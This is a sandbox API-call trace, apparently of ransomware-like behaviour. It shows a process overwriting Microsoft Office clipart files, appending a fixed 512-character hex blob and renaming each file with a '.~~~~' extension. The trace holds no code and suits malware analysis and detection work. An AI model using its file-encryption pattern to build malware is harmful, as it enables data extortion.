	[0113.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.628] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2836128
	[0113.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.629] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0113.629] GetLastError () returned 0x0
	[0113.629] GetLastError () returned 0x0
	[0113.629] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0113.629] GetLastError () returned 0x0
	[0113.629] GetLastError () returned 0x0
	[0113.867] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff5f2e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.867] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xa0d2, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0xa0d2, lpOverlapped=0x0) returned 1
	[0113.887] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0113.890] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.890] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.890] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.890] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.890] CloseHandle (hObject=0x11c) returned 1
	[0113.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.891] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg.~~~~")) returned 1
	[0113.893] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.893] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0113.893] GetLastError () returned 0x0
	[0113.894] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0113.895] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.895] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0113.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0113.895] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23388526635) returned 1
	[0113.895] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xad7ceeb0, dwHighDateTime=0x1d60e1e)) 
	[0113.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0113.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0113.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0113.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839568
	[0113.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839568 | out: hHeap=0x300000) returned 1
	[0113.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28361c0
	[0113.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.896] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0113.896] GetLastError () returned 0x0
	[0113.896] GetLastError () returned 0x0
	[0113.896] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0113.896] GetLastError () returned 0x0
	[0113.896] GetLastError () returned 0x0
	[0113.899] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffc38a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.900] WriteFile (in: hFile=0x11c, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0x3c76, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x3c76, lpOverlapped=0x0) returned 1
	[0113.901] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0113.901] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.902] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.902] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.902] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.902] CloseHandle (hObject=0x11c) returned 1
	[0113.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.902] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp.~~~~")) returned 1
	[0113.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0113.903] GetLastError () returned 0x0
	[0113.903] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0113.904] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0113.904] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.904] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0113.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0113.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0113.904] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23389444696) returned 1
	[0113.904] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xad7f5010, dwHighDateTime=0x1d60e1e)) 
	[0113.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0113.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0113.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0113.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28395a0
	[0113.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0113.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28395a0 | out: hHeap=0x300000) returned 1
	[0113.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0113.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28364b8
	[0113.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.905] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0113.905] GetLastError () returned 0x0
	[0113.905] GetLastError () returned 0x0
	[0113.905] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0113.905] GetLastError () returned 0x0
	[0113.905] GetLastError () returned 0x0
	[0113.907] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffefea, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.907] WriteFile (in: hFile=0x11c, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0x1016, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x1016, lpOverlapped=0x0) returned 1
	[0113.908] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0113.908] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.908] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.908] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.908] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.908] CloseHandle (hObject=0x11c) returned 1
	[0113.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.908] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp.~~~~")) returned 1
	[0113.909] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.909] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0113.909] GetLastError () returned 0x0
	[0113.910] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0113.910] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0113.911] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0113.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0113.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0113.911] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23390085395) returned 1
	[0113.911] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xad7f5010, dwHighDateTime=0x1d60e1e)) 
	[0113.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0113.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0113.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0113.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28395d8
	[0113.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28395d8 | out: hHeap=0x300000) returned 1
	[0113.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2836550
	[0113.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.911] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0113.912] GetLastError () returned 0x0
	[0113.912] GetLastError () returned 0x0
	[0113.912] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0113.912] GetLastError () returned 0x0
	[0113.912] GetLastError () returned 0x0
	[0113.914] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffb62e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.914] WriteFile (in: hFile=0x11c, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0x49d2, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x49d2, lpOverlapped=0x0) returned 1
	[0113.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0113.915] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.915] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.915] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.915] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.915] CloseHandle (hObject=0x11c) returned 1
	[0113.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.915] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif.~~~~")) returned 1
	[0113.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0113.916] GetLastError () returned 0x0
	[0113.916] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0113.917] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0113.917] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0113.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0113.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0113.918] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23390781512) returned 1
	[0113.918] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xad7f5010, dwHighDateTime=0x1d60e1e)) 
	[0113.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0113.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0113.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0113.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839610
	[0113.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839610 | out: hHeap=0x300000) returned 1
	[0113.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28365e8
	[0113.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.918] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0113.919] GetLastError () returned 0x0
	[0113.919] GetLastError () returned 0x0
	[0113.919] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0113.919] GetLastError () returned 0x0
	[0113.919] GetLastError () returned 0x0
	[0113.994] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff8751, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.994] WriteFile (in: hFile=0x11c, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0x78af, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x78af, lpOverlapped=0x0) returned 1
	[0113.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0113.998] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.999] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.999] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.999] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.999] CloseHandle (hObject=0x11c) returned 1
	[0114.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0114.008] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg.~~~~")) returned 1
	[0114.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0114.009] GetLastError () returned 0x0
	[0114.010] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0114.011] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.011] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0114.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0114.011] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23400133652) returned 1
	[0114.011] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xad8d9850, dwHighDateTime=0x1d60e1e)) 
	[0114.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0114.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0114.012] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
